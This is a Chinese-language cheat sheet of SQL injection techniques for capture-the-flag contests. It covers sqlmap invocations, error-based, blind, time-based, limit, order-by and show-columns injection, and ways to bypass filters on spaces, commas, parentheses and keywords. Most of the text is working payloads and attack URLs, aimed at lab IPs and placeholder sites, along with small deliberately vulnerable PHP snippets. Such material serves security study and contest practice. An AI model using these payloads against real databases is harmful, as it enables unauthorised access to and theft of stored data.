CTF 中的 SQL 注入总结

flag 常见表

1
select flag from flag

SQL 注入的基本原理

1
2
3
select * from user where username='' and pass=''
# 构造 username=devnull' or '1后,sql 语句变成
select * from user where username='devnull' or '1' and pass=''

SQLMap

1
python sqlmap.py -u "http://192.168.1.2/get_info.php?title=xxx&order=id" --current-db --batch --flush --tables

自定义的注入位置,用 * 号表示,如 header 的x-forwarded-for 注入

1
python sqlmap.py -u "http://192.168.118.142/" --headers="X-Forwarded-For: *" --banner

MySQL中的注释符

  • # 注释从#字符到行尾
  • -- 注释从–序列到行尾,后面需要跟上一个或多个空格,tab也可以
  • /* */ 注释中间的字符

获取元数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 获取当前的数据库用户,数据库名称,数据库的版本信息
select user(),database(),version() from dual;
# 查询数据库,有时需要限制返回的数量,或者偏移,例如页面只显示一条数据的情况 limit 0,1 limit 1,2
# 需要通过偏移来返回所有的数据库
select schema_name from information_schema.schemata;
# group_concat 函数是将多行数据连接成一行
select group_concat(schema_name) from information_schema.schemata;
# 查询表
# 方法1
select group_concat(table_name) from information_schema.tables where table_schema=database();
# 方法2
select table_name from information_schema.tables where table_schema='database_name';
# 方法3
select table_name from information_schema.tables where table_schema=(select database());

# 查询列
select column_name from information_schema.columns where table_schema='database_name' and table_name='users';
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag';

# 上面可能会被waf识别,也可以这样
select group_concat(column_name) from information_schema.columns where table_name='users';

# 字符串可以转换成16进制
select concat(group_concat(distinct+column_name)) from information_schema.columns where table_name=0x696e666f;

报错注入的一些技巧

用不存在的函数,爆出数据库名

如果过滤了 information_schema,也就无从获取表名和字段信息了,但是如果开启了报错,根据 MySQL 的特性,用一个不存在的自定义函数,就可以爆出数据库名。

1
2
3
SELECT * from users t where t.username=a()
// 报错信息,数据库名是 test_db
[Err] 1305 - FUNCTION test_db.a does not exist

利用 linestring 函数,爆出当前表名

1
2
3
SELECT * from users where id=1 and linestring(id)
// 报错信息,当前表名是 users
[Err] 1367 - Illegal non geometric '`test_db`.`users`.`id`' value found during parsing

使用 using+join 获取字段名

1
2
3
4
5
6
7
SELECT * from users where id=1 union select * from (select * from users as A join users as B using(id)) as C
// 报错信息,爆出列名 username
[Err] 1060 - Duplicate column name 'username'
using中增加新的列名,可以继续爆出其它列名,直到没有报错信息
SELECT * from users where id=1 union select * from (select * from users as A join users as B using(id,username)) as C
// 报错信息,又爆出一个列名
[Err] 1060 - Duplicate column name 'password'

判断字段的数量

1
2
3
4
# 原始的
http://192.168.137.140/cms/show.php?id=35
# 后面加上 order by 数字,就会按照第几个字段进行排序,如果没有会报错
http://192.168.137.140/cms/show.php?id=35 order by 16

union查询

1
2
3
4
5
6
# mysql执行:语句正常;
# mssql执行:语句错误,数据类型不匹配,无法正常执行
select id,username from users union select 1,2;

# oracle执行:语句错误,数据类型不匹配
select id,username from users union select 1,2 from dual;

遇到 union 错误

1
2
3
4
5
6
# 遇到 Illegal mix of collations for operation 'UNION'
http://192.168.137.140/cms/show.php?id=999 union select 1,2,group_concat(schema_name) from information_schema.schemata
# 是编码有问题,可以替换成
http://192.168.137.140/cms/show.php?id=999 union select 1,2,hex(group_concat(schema_name)) from information_schema.schemata

# 返回的结果是16进制,转换一下就可以了

绕过过滤

1
$check= eregi('select|insert|update|delete|from|or|and|=|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $pass);
  • and 用 && 代替
  • or 用 || 代替
  • union select from 变成 /*!union*/ 这种

空格绕过

1
2
3
4
5
// 使用括号,select, from , where 这些关键字不能用括号
select(table_name)from(information_schema.tables)where(table_schema)=database()
// 使用内联注释
select/*1*/username/*1*/from/*1*/users
// 使用%0a 绕过

关键字写两次

用 seselectlect 可以绕过

1
preg_replace('/select|union|from|where|insert|update/i','',$username)

大小写绕过

用 SELECT 可以绕过

1
preg_replace('/select|union|from|where|insert|update/','',$username)

16进制绕过

mysql中字符串都可以转换成对应的16进制形式。

例如:

1 or 1 == 0x31206f722031

利用前提:

1、insert插入时对应字段为字符类型(varchar、char等等)
2、SQL语句values时不允许存在单引号。

例句:

1
insert into xiaol(id, address) values(1, 0x31206f722031)

碰到 “=” 等于号被过滤的情况。

我们知道 = 号,在mysql中常用条件查询(过滤的了话)。可以使用其他条件来进行判断

可以使用 <> 不等于,也可以改用 like

1
2
3
1' || username like 0x61646d696e)#
# 16进制转换后为,发现admin前后不能加',否则会找不到数据
1' || username like admin)#

这里就直接使用了like,(这里说一下小技巧,有时候想 like 模糊查询下,但是有单引号,那么我可以这样写: like 0x2725302d662e6f72672527 (’%0-f.org%’))

regexp 后面的参数也可以使用16进制

regexp 和 like

当 select 和 () 被过滤的时候,可以用 regexp 和 like 盲注出当前表的字段值

like 使用 % 和 _ 作为通配符,因此这两个字符无法匹配,需要结合 regexp 搭配使用

  • % 表示任意个或多个字符。可匹配任意类型和长度的字符。
  • _ 表示任意单个字符。匹配单个任意字符,它常用来限制表达式的字符长度语句(可以代表一个中文字符)

regexp 在使用的时候要加上 ‘^’ 这个前缀,例如 ‘^abc’

regexp 和 like 在查询的时候默认都是不区分大小写的

1
2
3
4
5
6
7
# 不区分大小写
select * from table_name where a like 'a%'
select * from table_name where a regexp '^a'

# 区分大小写
select * from table_name where binary a like 'a%'
select * from table_name where binary a regexp '^a'

碰到 “,” 逗号被过滤的情况.

  • SUBSTR(password FROM 3 FOR 1) 等同于SUBSTR(PASSWORD,3,1)
  • SUBSTR(password FROM 2) 等同于 SUBSTR(PASSWORD,2)
  • substr(database()from(3)for(1)) 等同于 mid(database()from(3)for(1))
  • limit 1,1 中的逗号用limit 1 offset 1

使用 join

1
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;

括号被过滤的情况

在盲注中,如果过滤了括号(),那么将无法使用substr等函数,于是无法正常的逐字节读取字段内容,此时可以使用

1
2
3
SELECT * FROM users WHERE name NOT REGEXP '^h'
SELECT * FROM users WHERE name NOT REGEXP '^hh'
SELECT * FROM users WHERE name NOT REGEXP '^hhh'

根据盲注的结果,判断字段是否和某个正则表达式匹配,这样逐字节判断字段的值。

regexp相当于rlike,使用REGEXP,NOT REGEXP,RLIKE,NOT RLIKE绕过对括号的过滤

过滤空格

  • 控制字符替代法 %20 %09 %0A %0B %0C %0D %A0
  • 符号替代法 /**/、select..password、select+user()
  • 括号组合法 union(select(1),2)、select{x(password)}from{x(user)}

连续运算绕过

使用连续等号

1
SELECT * from users where username='-1'='' and password='-1'=''

从左到右运算,先计算username=’-1’,一般数据库里不会有’-1’,故该值为0。再计算0=’’,得到值为1。password=’-1’=’’同理。

也可以使用异或的方式,原理与连续等号相同

1
SELECT * from users where username=admin'^(substring((select(user()))from(1))='a')^'1'

union select from

只要按照union select from 的顺序出现,就被过滤

1
/union([\s\S]+)select([\s\S]+)from/i

绕过方法

1
id=1=2|@c:=(select(1))union(select@c)

读目录的exp为

1
id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)

延时注入

1
/test/query.php?name=sadf' AND 7352=IF((ORD(MID((SELECT IFNULL(CAST(KeyIsMe AS CHAR),0x20) FROM example.__key__ ORDER BY ID LIMIT 0,1),18,1))>50),BENCHMARK(1000000,MD5(0x4b654d45)),7352)
1
/test/query.php?name=sadf' AND 7352=IF((ORD(MID((SELECT IFNULL(CAST(KeyIsMe AS CHAR),0x20) FROM example.__key__ ORDER BY ID LIMIT 0,1),18,1))>50),SLEEP(5),7352)

limit 注入

MySQL 5.x 到 5.6.6

1
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

如果不支持报错注入的话,还可以基于时间注入:

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行,需要用BENCHMARK代替。

updatexml 报错注入

如果测试的时候有提示出错信息,可以考虑使用报错注入

1
show coulumns 出错:Table 'inject_3333.article_test'' doesn't exist

使用的语句

1
http://www.xxx.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

0x7e 是 ~。因为 UPDATEXML 第二个参数需要 Xpath 格式的字符串,如果不符合要求,会报错,错误大概会是:

1
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

这里 updatexml 里面第2个参数,不能使用 group_concat,因为 group_concat 是针对 select group_concat(column_name) 的

一些例子

1
2
# 遇到 show columns 后面要用 where 连接,不能用 and 
show COLUMNS FROM test_db.users where updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

show columns 注入

代码大概如下

1
mysql_query("show columns from `shop_{$table}`") or die("show coulumns 出错:".mysql_error());

show columns 语法

1
2
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name]
[LIKE 'pattern' | WHERE expr]

利用报错注入

1
table=123` where updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

group by with rollup

group by with rollup (对分组后的结果进行汇总),with rollup 会对 group by 的列,在最后多出一个 NULL 的值

1
2
3
4
5
6
7
8
9
10
11
12
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}

payload

1
2
# limit 1 offset 2 是需要不断测试,猜测出表中一共有几条数据,最后一条 pwd 的值为 null
uname='or 1 group by pwd with rollup limit 1 offset 2#

desc

desc 是数据库的操作命令,可以列出表或者字段的定义,desc 后可以跟 表名 [列名],表名必须正确,而列名则不必须

1
2
desc tablename filedname
desc `tablename` `filedname`

例如这种情况下,可以在列名处构造 payload 实现绕过

1
2
3
4
5
6
// payload: test` `where 0 union select *  from secret_test
$table = $_GET['table']?$_GET['table']:"test";
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];

第1条SQL语句

1
desc `secret_test` `where 0 union select *  from secret_test`

第2条SQL语句

1
2
// 这里 ` ` 是 secret_test 表的别名
select 'flag{xxx}' from secret_test` `where 0 union select * from secret_test

order by 注入

order by 后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。由于 order by 后面不可以跟union,一般利用盲注。order by 后面可以跟列名,如果不存在会报错,可以用来猜测列名。

sleep 盲注

1
2
3
4
order by name, if(1=1,name,price)
order by name, if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) // 正常响应时间
order by name, if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) // sleep 2
select id,name,price from book order by if(1=1,sleep(0),sleep(1));

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。

1
2
3
4
5
order by IF(1=1,1,(select 1 union select 2)) 正常
order by IF(1=2,1,(select 1 union select 2)) 错误
order by IF(1=1,1,(select 1 from information_schema.tables)) 正常
# 会报错误 Subquery returns more than 1 row
order by IF(1=2,1,(select 1 from information_schema.tables)) 错误

where 比较条件弱类型

字符串与0进行比较的时候会转成数字,跟PHP的弱类型相同

1
2
3
4
5
6
7
8
9
10
11
12
# 如果是数字开头的,则会变成前面的字符串 
'123abc' == 123
'abc' == 0
# 可以把username不以数字开头的数据取出来
select * from users WHERE username=0;

# 'abc' + 0 为 0
select 'abc' + 0;
# 'abc' + 123 为 123
select 'abc' + 123;
# 'abc' + '0' 为 0,做加法运算的时候,两边都变成数字
select 'abc' + '0';

可以获取所有用户名和密码不为0的数据,利用这种方式可以构造万能密码

1
2
select * from users where username=0 and password=0
select * from users where username='abcd' + '0' and password='abc' + '0'

不知道列名时的注入

方法1

在无法通过 information_schema 查询列名时,如果存在 SQL 错误回显,可以使用如下方法查询出列名。

1
2
3
4
select * from users where username='admin' and (select * from (select * from users as a join users as b using(username)) as c)

// 会显示这些错误信息
[Err] 1060 - Duplicate column name 'password'

当做 join 操作时,如果两个表都有相同的字段,可以使用 using,这样可以少写 SQL 语句,因为使用了 using,两个相同的表做 join 时,using 里面的字段只会保留一个,但是另外在using里面的,就会出现两个,导致出现 Duplicate column。
如果是使用 join on,则是会把所有的列都保留,也就是这里会有两个相同的 id,name, password,因为报错只显示第一个错误,会提示 Duplicate column name ‘id’。

方法2

是用两个 select union 的方式,目标的表用 select * 查询出所有的列,然后另外一个表使用 select 1,2 as c,利用别名的方式,为该序号的列定义了一个列名,由于有 union,两个表在该序号的列就可以使用新的列名,然后外层 select 使用新的列名查询出来。

1
2
3
select c from (select 1,2 as c union(select * from users)) as b
// 别名的另外一种方法,不使用 as
select c from (select 1,2`c` union(select * from users))`b`

一些函数

exists

判断是否存在

1
exists(select * from admin)

ASP 的网站

遇到 asp 的网站,发现有在url中获取id参数,那么也可能会从Cookie中获取,可以尝试 Cookie 注入

1
sqlmap -u "http://10.10.1.202/shownews.asp?id=83" --level=2 --risk=3 --cookie="id=82" --current-db --tables --batch

SQLite

输入 ‘’’ 看到如下数据,可以判断是 sqlite 数据库

1
unrecognized token: "202cb962ac59075b964b07152d234b70"